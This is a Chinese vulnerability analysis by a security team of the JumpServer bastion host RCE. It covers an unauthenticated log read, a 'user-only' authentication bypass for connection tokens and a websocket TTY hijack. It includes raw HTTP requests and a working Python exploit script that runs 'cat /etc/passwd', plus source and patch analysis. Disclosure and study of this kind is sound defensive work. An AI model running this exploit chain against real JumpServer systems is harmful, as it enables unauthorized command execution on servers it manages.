作者:Veraxy@QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/lbcYzNsiOYZRwQzAIYxg3g
作為國內開源堡壘機的中流砥柱,前段時間JumpServer爆出了遠程命令執行漏洞,掀起了不小的熱度,很多小伙伴看過網上的分析文章之后仍舊一知半解,本文帶大家一起做深入分析,研究各個點之間的關聯和原理,同時補充相關知識點,幫助大家理清楚這個洞,從而可以思考如何利用,文末附漏洞利用工具。如有不足之處,歡迎批評指正。
0x01產品了解
Jumpserver 是一款由python編寫開源的跳板機(堡壘機)系統,實現了跳板機應有的功能,基于ssh協議來管理,客戶端無需安裝agent。
https://github.com/jumpserver/jumpserver
主要包含四個項目組件,分別是Lina、Luna、Koko、Guacamole。其中Koko 是Go版本的coco,提供了 SSH、SFTP、web terminal、web文件管理功能。

Jumpserver部署
https://github.com/jumpserver/installer
下載安裝包
# git clone https://github.com/jumpserver/installer.git
# cd installer?
國內docker源加速安裝
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# ./jmsctl.sh install
升級到指定版本
# ./jmsctl.sh upgrade v2.6.1
啟動服務
#?./jmsctl.sh start
#?./jmsctl.sh restart

環境配置
Jumpserver v2.6.1版本,訪問服務正常,默認管理員賬戶admin/admin,初次登錄須改密碼。

1.添加管理用戶。
資產管理里面的"管理用戶"是jumpserver用來管理資產需要的服務賬戶,Jumpserver使用該用戶來 '推送系統用戶'、'獲取資產硬件信息'等。

2.“資產列表”中添加資產

測試資產可連接性,保證資產存活


3.創建系統用戶
系統用戶是 Jumpserver 跳轉登錄資產時使用的用戶,可以理解為登錄資產的用戶。

配置“登錄方式”為自動登錄

4.創建資產授權

5.使用“Web終端”連接資產
為保證漏洞復現順利進行,需要在Web終端中連接某資產。

Web終端以root用戶名登錄機器。
若配置的登錄模式為“手動登錄”,所以需要輸入密碼進行連接。

"自動登錄"則可調用系統預留密碼直接連接。

0x02漏洞利用
日志文件讀取
系統中/ws/ops/tasks/log/接口無身份校驗,可直接與其建立websocket連接,當為“task”參數賦值為具體文件路徑時,可獲取其文件內容。系統接收文件名后會自動添加.log后綴,所以只能讀取.log類型的日志文件。
默認/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。

gunicorn是常用的WSGI容器之一,用來處理Web框架和Web服務器之間的通信,gunicorn.log是API調用歷史記錄比較全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件內容,由于系統會自動添加.log后綴,故無須添加文件后綴,目標路徑為 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}

在日志中尋找有用數據,其中/api/v1/perms/asset-permissions/user/validate接口的請求記錄值得注意,這個API是用來驗證用戶的資產控制權限的。由于web終端連接資產時會對用戶所屬資產權限進行校驗,調用了這個接口,故會留下日志記錄。其中asset_id、system_user_id、user_id參數值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911
認證繞過+獲取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通過user-only參數繞過權限認證。
兩接口對數據的處理邏輯一致,其中post請求處理函數要求data數據中攜帶"user"、"asset"、"system_user"參數,同時系統自動生成一個20s有效期的token,收到合法請求會將這個token返回。

上文從日志中獲取到的三個參數值可以用在這里,分別賦值給post請求要求的data中的"user"、"asset"、"system_user"參數,同時在URL中添加user-only參數來繞過認證,最終獲得一個20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1
Host: 192.168.18.182:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73

上圖請求接口替換成/api/v1/users/connection-token/達到的目的一樣

遠程命令執行
系統/koko/ws/token/接口要求"target_id"參數,攜帶合法"target_id"參數即可利用該接口建立TTY通信。

上文通過/api/v1/authentication/connection-token/接口獲得的20s有效期的token可作為/koko/ws/token/接口的有效"target_id"參數值,從而建立websocket會話。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e

借助腳本進行websocket通信
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服務器端發送認證后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客戶端主邏輯
async def main_logic(cmd):
print("###start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("#######1########")
print("init ws")
print("#######2########")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})
await send_msg(websocket,inittext)
print("########3#######")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('###finish')
if __name__ == '__main__':
host = "http://192.168.18.182:8080"
cmd="cat /etc/passwd"
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",
"system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功執行 "cat /etc/passwd" 命令

利用條件
1.web終端登錄方式為免密自動連接。
若配置為需要輸入密碼的手動登錄,只有在攻擊者已知目標資產登錄密碼(不現實),或此時系統用戶與目標資產的會話連接未中斷,從而讓攻擊者有機會復用SSH會話,漏洞利用成功,顯然這種配置下漏洞利用大多失敗。

當系統用戶退出登錄,由于沒有可復用會話了,系統要求重新輸入密碼,否則無法建立連接。漏洞利用失敗。

只有在系統用戶登錄模式配置為“自動登錄”,即系統用戶使用web終端操作時資產無須輸入密碼
,可直接建立連接(某些情況下需要“自動推送”系統用戶至資產才能實現免密連接),這種配置下,該漏洞才可被攻擊者穩定利用。
開啟自動登錄和自動推送。
如果選擇了自動推送, Jumpserver 會使用 Ansible 自動推送系統用戶到資產中。

此時連接web終端不需要輸入密碼了,直接利用系統用戶預存的密碼建立連接。

這時我中斷會話,再次測試,成功執行命令,此時不是復用SSH連接,而是直接連接,建立會話,從而執行命令。

jumpserver通常的配置都是自動登錄的,這一條件容易滿足。
2.系統用戶在web終端與目標資產建立過連接。
只有系統用戶在web終端訪問過目標資產,才能在日志中留下訪問記錄,我們與目標建立連接的必要參數均在日志中獲取。
3.系統日志路徑已知
系統日志路徑默認為/opt/jumpserver/logs,一些項目刻意修改日志路徑會使得漏洞難以利用。
攻擊流程回顧
1.未授權的情況下通過 /ws/ops/tasks/log/ 接口建立websocket連接,讀取日志文件
2.在日志文件中獲取到用戶、資產字段值、系統用戶(user_id、asset_id、system_user_id)
3.攜帶這三個字段對 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口發起POST請求(同時借助user-only參數繞過認證),得到一個20S有效期的token
4.通過該token與/koko/ws/token/接口建立websocket連接,模擬Web終端通信,執行命令。

0x03漏洞分析
日志文件讀取
讀取日志文件的接口為ws/ops/tasks/log/

分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定義該接口直接連接,無認證

receive()方法要求請求data要攜帶task參數,隨后會將“task”值傳給handle_task()

self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),獲取目標文件路徑的方法,系統自動為路徑末尾添加.log后綴,也就是只能讀取到日志文件。
這里也是“task”參數值中的文件路徑無須攜帶.log后綴的原因。

當系統連接資產時,會調用 validatePermission() 方法檢查用戶是否有權限連接,通過三個參數進行校驗,分別為用戶ID、資產ID、系統用戶ID,三個參數值長期有效,可被進一步利用。


對應的接口是/api/v1/perms/asset-permissions/user/validate,請求記錄均可在日志文件中找到

繞過身份驗證獲取token
apps/authentication/api/auth.py,請求url中存在'user-only'參數且有值,則其權限為AllowAny,即允許訪問。

分析apps/authentication/api/auth.py#UserConnectionTokenApi類,可處理get、post請求。
get請求處理函數取URL中"token"和"user-only"參數,合法請求會根據token返回user信息。

post請求處理函數要求data數據中攜帶"user"、"asset"、"system_user"參數,同時系統自動生成一個20s有效期的token,合法請求會將這個token返回。

apps/authentication/api/auth.py#UserConnectionTokenApi類有哪些地方使用,共兩處

剛好是官方公布的接口,這兩個接口數據處理邏輯一致,所以利用的時候兩者均可得到token。
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Web Terminal 前端項目 luna/src/app/services/http.ts 中有對/api/v1/users/connection-token/接口的Get請求代碼,這里攜帶不為空的user-only參數,是為了獲取token對應的用戶身份所有信息而不是單個字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts

websocket建立TTY終端會話
這個漏洞是通過websocket通信建立TTY終端,從而執行命令。
JumpServer中KoKo項目提供 Web Terminal 服務,分析系統中可建立TTY會話的幾種方式。
https://github.com/jumpserver/koko
建立TTY會話主要通過koko/pkg/httpd/webserver.go中runTTY() 實現

只有兩個接口可以進入runTTY()方法,分別是processTerminalWebsocket和processTokenWebsocket方法

對應API為/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()

/koko/ws/terminal/
系統中通過“會話管理”下“web終端”功能連接資產時,使用的是 /koko/ws/terminal/ 接口

ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
進行websocket通信

processTerminalWebsocket函數處理 /koko/ws/terminal/ 接口,要通過這個接口成功登錄控制臺需要一些必備參數,包括type、target_id、system_user_id,其中target_id為目標資產ID,system_user_id表示系統用戶id。
注意:/koko/ws/terminal/ 接口的target_id與/koko/ws/token/ 接口的target_id雖然參數名一樣,但卻是兩個完全不同的東西。

系統對 /koko/ws/terminal/ 接口通過?middleSessionAuth() 進行會話合法校驗。
注意到 /koko/ws/token/ 接口卻是無此類限制的。

/koko/ws/token/
/koko/ws/token/ 接口的處理函數位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get請求攜帶“target_id”參數,系統會將該參數傳遞給 service.GetTokenAsset() 方法,獲取token對應的user,從而建立TTY會話。

發現 GetTokenAsset() 是將“/api/v1/authentication/connection-token/?token=”與token值進行拼接,并發起Get請求,來獲取用戶身份的。


上文分析過 /api/v1/authentication/connection-token/ 接口,Get請求處理函數中定義,若僅攜帶有效token,則返回該用戶所有信息,若同時攜帶token和不為None的user-only,則返回用戶信息中的'user'字段值。

本次通信則是僅攜帶有效token,從而獲取該用戶所有身份信息。

綜上,一個有效的“target_id”即可調用/koko/ws/token/ 接口進行websoket通信,從而建立TTY會話。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}

而這個有效的“target_id”則通過上一章節“身份驗證繞過”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口來獲得,需要在20s有效期內將token替換為target_id參數值來使用。
補丁分析
漏洞整體分析下來,最關鍵的幾個點,身份驗證繞過以及websocket通信接口無校驗,官方發布的新版本對其進行修復。
https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e

0x04關于websocket
WebSocket 協議誕生于 2008 年,在 2011 年成為國際標準,WebSocket 同樣是 HTML 5 規范的組成部分之一。
HTTP 協議是半雙工協議,也就是說在同一時間點只能處理一個方向的數據傳輸,通信只能由客戶端發起,屬于單向傳輸,一般通過 Cookie 使客戶端保持某種狀態,以便服務器可以識別客戶端。
WebSocket的出現,使得瀏覽器和服務器之間可以建立無限制的全雙工通信。WebSocket 協議是全雙工的,客戶端會先發起請求建立連接,若服務器接受了此請求,則將建立雙向通信,然后服務器和客戶端就可以進行信息交互了,直到客戶端或服務器發送消息將其關閉為止。
WebSocket特點:
1.默認端口是80和443,并且握手階段采用 HTTP 協議,因此握手時不容易屏蔽,能通過各種 HTTP 代理服務器。
2.可以發送文本,也可以發送二進制數據。
3.沒有同源限制,客戶端可以與任意服務器通信。
4.協議標識符是ws(如果加密,則為wss)
WebSocket通信
WebSocket并不是全新的協議,而是利用了HTTP協議來建立連接。

建立連接
客戶端請求報文:
GET / HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: example.com
Origin: http://example.com
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
Sec-WebSocket-Version: 13
Connection、Upgrade字段聲明需要切換協議為websocket
Sec-WebSocket-Key是由瀏覽器隨機生成的,提供基本的防護,防止惡意或者無意的連接。
Sec-WebSocket-Version表示 WebSocket 的版本,如果服務端不支持該版本,需要返回一個Sec-WebSocket-Versionheader,里面包含服務端支持的版本號。
服務端的響應報文:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
Upgrade消息頭通知客戶端確認切換協議來完成這個請求;
Sec-WebSocket-Accept是經過服務器確認,并且加密過后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol則是表示最終使用的協議。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的換算,其實并沒有實際性的安全保障。
進行通信
服務端接收到客戶端發來的Websocket報文需要進行解析。
數據包格式

Mask位表示是否要對數據載荷進行掩碼異或操作。
Payload length表示數據載荷的長度。
Masking-key數據掩碼,為防止早期版本的協議中存在的代理緩存污染攻擊等問題而存在。
Payload Data為載荷數據。
服務端返回數據時不攜帶掩碼,所以 Mask 位為 0,再按載荷數據的大小寫入長度,最后寫入載荷數據。
心跳
WebSocket為了保持客戶端、服務端的實時雙向通信,需要確保客戶端、服務端之間的TCP通道沒有斷開。對于長時間沒有數據往來的通道,但仍需要保持連接,可采用心跳來實現。
發送方->接收方:ping
接收方->發送方:pong
ping、pong的操作,對應的是WebSocket的兩個控制幀,opcode分別是0x9、0xA。
關閉連接
關閉連接標志著服務器和客戶端之間的通信結束,標記通信結束后,服務器和客戶端之間無法進一步傳輸消息。
Web Terminal實現
通常所說的Terminal是指的終端模擬器,一般情況下終端模擬器是不會直接與shell通訊的,而是通過pty(Pseudoterminal,偽終端)來實現,pty 是一對 master-slave 設備。
終端模擬器通過文件讀寫流與 pyt master通訊,pty master再將字符輸入傳送給pty slave,pty slave進一步傳遞給bash執行。
Web Terminal則是實現在瀏覽器展示的終端模擬器,前后端建立WebSocket連接,保證瀏覽器和后端實時通信。
實現思路:
1.瀏覽器將主機信息傳給后臺, 并通過HTTP請求與后臺協商升級協議,協議升級完成后, 得到一個和瀏覽器的web Socket連接通道
2.后臺拿到主機信息, 創建一個SSH 客戶端, 與遠程主機的SSH 服務端協商加密, 互相認證, 然后建立一個SSH Channel
3.后臺和遠程主機有了通訊的信道,然后后臺攜帶終端信息通過SSH Channel請求遠程主機創建一對 pty, 并請求啟動當前用戶的默認 shell
4.后臺通過 Socket連接通道拿到用戶輸入, 再通過SSH Channel將輸入傳給pty,pty將這些數據交給遠程主機處理后,按照前面指定的終端標準輸出到SSH Channel中, 同時鍵盤輸入也會通過SSH Channel發送給遠程服務端。
5.后臺從SSH Channel中拿到按照終端大小的標準輸出,通過Socket通信將輸出返回給瀏覽器,由此實現了Web Terminal

JumpServer中websocket通信基于https://github.com/gorilla/websocket項目實現,Web Terminal功能實現思路與上文描述基本一致,這里簡述瀏覽器與后端進行websocket通信流程。

攜帶多個參數對 /koko/ws/terminal/ 接口發起Get請求,初次握手,提出Upgrade為Websocket協議
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1
Host: 192.168.18.182:8080
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Upgrade: websocket
Origin: http://192.168.18.182:8080
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Sec-WebSocket-Protocol: JMS-KOKO
服務端識別有效字段,回應握手請求,同意upgrade為websocket協議,允許后續進行socket通信。
HTTP/1.1 101 Switching Protocols
Server: nginx
Date: Mon, 01 Feb 2021 17:29:47 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=
Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web終端功能時,系統主要發起兩個請求,分別是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
http://192.168.18.182:8080/koko/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

實際進行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是協調處理sokcet通信輸入輸出的數據,將結果與前端融合并展示給用戶,提供一個可視終端的效果。

Websocket認證
即使用戶經過了系統的認證,當與WebSocket接口進行socket連接時,同樣需要再次認證。
一般Websocket的身份認證都是發生在握手階段,客戶端向驗證請求中的內容,只允許經過身份驗證的用戶建立成功的Websocket連接。
可以通過基于cookie的傳統方式,或基于Token的方式進行認證。
傳統的基于cookie的方式
采用這種方式,應用本身的認證和提供WebSocket的服務,可以是同一套session cookie的管理機制,也可以WebSocket服務接口自己來維護基于cookie的認證。
Jumpserver系統Web終端的功能,調用的/koko/ws/terminal/接口就是采用這種方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

請求URL中攜帶的參數值 target_id、type、system_user_id 基本長期復用,接口主要依靠建立會話傳送的Cookie來識別身份,這里的session cookie的管理機制與系統是共享的。
基于Token的方式
當客戶端要與接口建立連接時,向http服務獲取token,客戶端作為初始握手的一部分攜帶有效token打開websocket連接,服務端驗證token有效性合法性,認證通過則同意建立websocket會話連接。
漏洞執行命令利用的/koko/ws/token/接口采用的就是基于token方式進行認證
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id參數值,識別參數值有效性及對應用戶身份,認證通過則同意建立websocket連接。

認證方式對比
傳統基于cookie的方式,若websocket接口與系統協調同一種共享的認證方式,造成websocket服務與應用服務的耦合性大,依賴性強。若websocket服務自己維護基于cookie的認證,它只是一個解決通信連接的服務,為此付出成本不小。綜上,還是采用基于token的認證方式更加高效。
采用基于token的認證方式則需要考慮提供token服務的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在認證繞過問題,攻擊者通過繞過/connection-token接口的身份驗證,獲取token,在有效時間內可與目標建立websocket連接。
0x05利用工具
編寫思路
1.讀取日志
根據上文漏洞利用的流程,需要先通過未授權的/ws/ops/tasks/log/接口讀取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口請求記錄,我們需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。

2.篩選可用資產
日志文件中提取出的數據為歷史連接記錄,但不一定可以被利用,需要對其進行連接測試,篩選出可被利用的資產。

3.執行命令
在可用資產列表中選擇目標進行攻擊,執行指定命令。

更多細節請移步:https://github.com/Veraxy00/Jumpserver-EXP
總結
1.通過未授權的 /ws/ops/tasks/log/ 接口讀取日志文件,我們僅篩選了部分接口信息,日志中包含大量數據,還有更多利用價值。
2.官方給出的漏洞影響版本不準確,部分版本由于接口認證方式問題不可被利用。
3.根據實際場景不同,漏洞利用工具還須繼續改進,歡迎提出改進建議。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1502/